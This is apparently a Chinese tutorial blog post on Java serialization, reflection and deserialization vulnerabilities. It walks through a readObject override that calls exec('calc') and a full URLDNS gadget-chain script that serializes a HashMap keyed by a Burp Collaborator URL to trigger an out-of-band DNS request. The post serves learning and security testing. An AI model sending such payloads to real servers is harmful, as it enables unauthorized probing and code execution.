java反序列化基础
前言:最近开始学习java的序列化与反序列化,现在从原生的序列化与反序列化开始,小小的记录一下
参考文章:https://blog.csdn.net/mocas_wang/article/details/107621010
01.什么是序列化与反序列化
其实java的序列化说白了就是将一个对象转换成字节的过程,那么同理,java的反序列化也就是将一个字节转换会一个对象的过程,这样的操作会使得对象在不同的机器之间进行传递变得简单,我们在一台机器上将某个对象序列化之后那么只需要传递序列化之后的字节给另外一台机器,那么另外一台机器只需要进行对应的反序列操作就可以获得传递过来的对象。
下面来演示一下使用io流自带的接口进行序列化与反序列化:
1.首先定义一个Person类用于序列化的操作

1 import java.io.Serializable;
2 //必须继承Serializable接口才可被序列化
3 public class Person implements Serializable {
4 private String name;
5 private int age;
6
7 public Person(String name, int age) {
8 this.name = name;
9 this.age = age;
10 }
11
12 public Person() {
13 }
14
15 @Override
16 public String toString() {
17 return "Person{" +
18 "name='" + name + '\'' +
19 ", age=" + age +
20 '}';
21 }
22 }
2.正常情况下,我们通过以下代码进行实例化,然后打印出这个对象,应该会得到以下的结果
1 public static void main(String[] args) {
2 Person person = new Person("aa",22);
3 System.out.println(person);
4 }

3.那么现在我们用以下代码来对这个对象进行序列化,可以看到,对象的信息会被序列化的写入ser.bin文件中
1 public static void serialize(Object obj) throws IOException{
2 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3 oos.writeObject(obj);
4 }

4.那么接下来我们只要在另外一个类中,实现反序列化的代码,就可以很轻松的获取到原来想要传递的对象

1 import java.io.FileInputStream;
2 import java.io.FileNotFoundException;
3 import java.io.IOException;
4 import java.io.ObjectInputStream;
5
6 public class UnserializeTest {
7 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
8 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
9 Object obj = ois.readObject();
10 return obj;
11 }
12
13 public static void main(String[] args) throws IOException, ClassNotFoundException {
14 Person person = (Person)unserialize("ser.bin");
15 System.out.println(person);
16 }
17 }

tips:
- 必须实现Serializable接口的类才可被序列化
- 静态成员变量是不能被序列化的,因为静态成员变量是属于类中的,而不是属于被实例化对象
- transient标识的对象成员变量是不可以被序列化的
那么为什么会产生安全问题呢?
只要服务端反序列化了数据,客户端传递类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力
如何利用?
首先,我们需要找到一个入口类,这个类需要重写了readObject,同时最好重写了一个常见的函数这样我们可以进一步的去找调用链,最后我们需要去找到一个执行类(rce,ssrf,写文件等等)
1.我们知道,在反序列化的过程中,会调用ObjectInputStream中的readObject方面,那么如果我们在类中就重写了这个方法,反序列化时调用的这个方法是不是就会调用我们重写的方法,这时候只需要把后门代码放在里面,就可以达到攻击的目的。重写代码如下:

1 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
2 ois.defaultReadObject();
3 Runtime.getRuntime().exec("calc");
4 }
2.如果入口类参数中包含可控类,该类有危险方法,readObject时就可以去调用,比方说Map,他可以是Map<Object,Object>这种类型,同时Map又继承了Serializable接口,那么就会可以被利用
3.入口类参数中包含可控类,该类又调用了其他有危险方法的类,就可以在readObject时去调用
Java反射机制
通常,我们在利用反序列化漏洞的时候会运用到java的反射机制,下面这篇文章很好的讲述了java的反射机制
参考文章:https://blog.csdn.net/weiwenhou/article/details/103650422
总结一下:
- 反射的作用:让java具有动态性
- 修改已有对象的属性
- 动态的生成对象
- 动态的调用方法
- 操作内部类和私有方法
在反序列化漏洞中的应用:
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
简单使用

1 import java.lang.reflect.Constructor;
2 import java.lang.reflect.Field;
3 import java.lang.reflect.Method;
4
5 public class ReflectionTest {
6 public static void main(String[] args) throws Exception {
7 Person person = new Person();
8 Class c = person.getClass();
9 //反射就是操作Class
10
11 //从原型class里面实例化对象
12 //c.newInstance(); 无参,无法使用
13 Constructor personconstructor = c.getConstructor(String.class,int.class);
14 Person p = (Person) personconstructor.newInstance("abc",22);
15 System.out.println(p);
16 //获取类里面的属性
17 //c.getFields();只能打印public的属性
18 //c.getDeclaredFields()都可以打印
19 Field[] personfields = c.getDeclaredFields();
20 for (Field f:personfields){
21 System.out.println(f);
22 }
23 //获取单个
24 Field namefield = c.getField("name");
25 namefield.set(p,"testedit");//需要一个示例
26 System.out.println(p);
27 //修改私有变量
28 Field agefield = c.getDeclaredField("age");
29 agefield.setAccessible(true);//允许访问私有变量
30 agefield.set(p,33);
31 System.out.println(p);
32 //调用类里面的方法
33 Method[] personMethods = c.getDeclaredMethods();
34 for(Method m:personMethods){
35 System.out.println(m);
36 }
37 //获取单个方法
38 Method actionmethod = c.getMethod("action",String.class);
39 actionmethod.invoke(p,"testaction");//调用触发
40 }
41 }
URL-DNS链
首先,我们想要利用URL-DNS链,我们可以先来看一下URL类中是否存在readObject方法,但是我们可以很明显的发现,URL类中的该方法,没有调用危险函数,那么是不是就不能够利用了呢?
其实,在URL类中,存在一个hashcode函数,这个函数会发起DNS请求,那么我们该怎么操作可以使得在反序列化时让他调用这个函数呢,我们可以通过利用hashMap中的hash方法,hashMap在反序列化时会调用readObject方法,该方法的Key值会调用Key.hashcode方法,那么只要将URL类作为hashMap的key,我们就可以成功利用,但是实际上,我们需要利用java的反射机制,对某些参数进行修改,因为在put的过程中,如果hashcode的值为-1那么也会调用hashcode方法,那么我们就无法分辨,到底是在哪个缓解出发了反序列化漏洞,具体的利用代码如下。

1 import java.io.FileOutputStream;
2 import java.io.IOException;
3 import java.io.ObjectOutputStream;
4 import java.lang.reflect.Field;
5 import java.net.URL;
6 import java.util.HashMap;
7
8 public class SerializationTest {
9 public static void serialize(Object obj) throws Exception{
10 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
11 oos.writeObject(obj);
12 }
13
14 public static void main(String[] args) throws Exception {
15 // Person person = new Person("aa",22);
16 // System.out.println(person);
17 // serialize(person);
18 HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
19 //一开始不能发起请求 //把url对象的hashcode改成不是-1
20 URL url = new URL("http://tzwb9yz0ehtmjrpw7rwvu57d94fu3j.burpcollaborator.net");
21 Class c = url.getClass();
22 Field hashcode = c.getDeclaredField("hashCode");
23 hashcode.setAccessible(true);
24 hashcode.set(url,1);
25 hashMap.put(url,1);
26 //现在可以把hashcode给改回来
27 hashcode.set(url,-1);
28 serialize(hashMap);
29 }
30 }
java反序列化基础的更多相关文章
- Java反序列化漏洞Apache CommonsCollections分析
Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...
- JAVA反序列化漏洞基础原理
JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- 【重走Android之路】【Java面向对象基础(三)】面向对象思想
[重走Android之路][基础篇(三)][Java面向对象基础]面向对象思想 1 面向对象的WWH 1.1 What--什么是面向对象 首先,要理解“对象”.在Thinkin ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- 【JAVA零基础入门系列】Day14 Java对象的克隆
今天要介绍一个概念,对象的克隆.本篇有一定难度,请先做好心理准备.看不懂的话可以多看两遍,还是不懂的话,可以在下方留言,我会看情况进行修改和补充. 克隆,自然就是将对象重新复制一份,那为什么要用克隆呢 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- Java底层基础题
一.Java底层基础题 1.SpringMVC的原理以及返回数据如何渲染到jsp/html上? 答:Spring MVC的核心就是DispatcherServlet , 一个请求经过Dispatche ...
- 对ysoserial工具及java反序列化的一个阶段性理解【未完成】
经过一段时间的琢磨与反思,以及重读了大量之前看不懂的反序列化文章,目前为止算是对java反序列化这块有了一个阶段性的小理解. 目前为止,发送的所有java反序列化的漏洞中.主要需要两个触发条件: 1. ...
随机推荐
- AR空间音频能力,打造沉浸式声音体验
随着元宇宙的兴起,3D虚拟现实广泛引用,让数字化信息和现实世界融合,目前大家的目光主要聚焦于视觉交互层面,为了在虚拟环境中更好的再现真实世界的三维空间体验,引入听觉层面必不可少,空间音频孕育而生. 空 ...
- python安装第三方库换源
永久修改 pip config set global.index-url https://mirrors.aliyun.com/pypi/simple 其他 这个都属于pip 命令行,config 后 ...
- CheckBox 选中取值以及回填
html: <td align="left" style="word-wrap:break-word;word-break:break-all;" col ...
- chrom jsonview的使用
在开发中,我们可能要为不同的系统提供接口,并以说明文档的形式提供接口说明,但我们提供的返回json往往会在页面上乱成一团. 这里我们推荐chrome浏览器的小插件jsonview,他不但有利于我们对接 ...
- Tekton 设计简介 及 实践
本文是我对Tekton的实现原理和背后技术逻辑的理解,以及在实践过程中的一些总结. 简介 Tekton 是一个基于 Kubernetes 的云原生 CI/CD 开源(https://cd.founda ...
- JavaScript入门⑧-事件总结大全
JavaScript入门系列目录 JavaScript入门①-基础知识筑基 JavaScript入门②-函数(1)基础{浅出} JavaScript入门③-函数(2)原理{深入}执行上下文 JavaS ...
- Flask框架使用SQLAlchemy的ORM
SQLAlchemy 1.介绍 SQLAlchemy是一个基于Python实现的ORM框架.该框架建立在 DB API之上,使用关系对象映射进行数据库操作,简言之便是:将类和对象转换成SQL,然后使用 ...
- JavaSE流程学习图
- global与nonlocal、函数名用法、闭包函数、装饰器
今日内容回顾 目录 今日内容回顾 global与nonlocal 函数名的多种用法 闭包函数 装饰器简介 装饰器推导流程 装饰器模板 装饰器语法糖 练习 global与nonlocal 函数名的多种用 ...
- 从工具到实践:如何在GitHub上保障开源项目安全?
1998年,Christine Peterson创造了 "开源软件"这个词.她解释道:"这是刻意为之,为了让其他人更容易理解这个领域".同年,O'Reilly组 ...